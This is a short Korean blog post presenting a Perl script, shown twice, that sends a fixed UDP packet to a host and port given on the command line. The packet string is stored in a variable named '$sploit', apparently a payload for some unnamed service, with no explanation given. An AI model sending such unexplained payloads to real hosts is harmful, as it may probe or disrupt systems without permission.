udp request
programming/perl 2010. 5. 10. 09:30 |$ARGC=@ARGV;
if ($ARGC !=2) {
print "Usage: $0 <host> <port>\n";
print "Example: $0 192.168.1.153 80\n";
exit;
}
use Socket;
my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = $ARGV[1];
$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('UDP') or die "Error: $!";
socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "Error: $!";
#connect(SOCK, $paddr) or die "Error: $!";
connect(SOCK, $paddr);
$sploit="60198E081622F7BCC5489B";
print $sploit;
send(SOCK, $sploit,0 ) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;
if ($ARGC !=2) {
print "Usage: $0 <host> <port>\n";
print "Example: $0 192.168.1.153 80\n";
exit;
}
use Socket;
my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = $ARGV[1];
$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('UDP') or die "Error: $!";
socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "Error: $!";
#connect(SOCK, $paddr) or die "Error: $!";
connect(SOCK, $paddr);
$sploit="60198E081622F7BCC5489B";
print $sploit;
send(SOCK, $sploit,0 ) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;
'programming > perl' 카테고리의 다른 글
echo server (0) | 2010.11.29 |
---|---|
socket TCP server (0) | 2010.05.10 |
tcp request (0) | 2010.05.10 |
외부파일실행예제 (0) | 2010.04.28 |
웹페이지 긁어오기 예제 (0) | 2010.04.09 |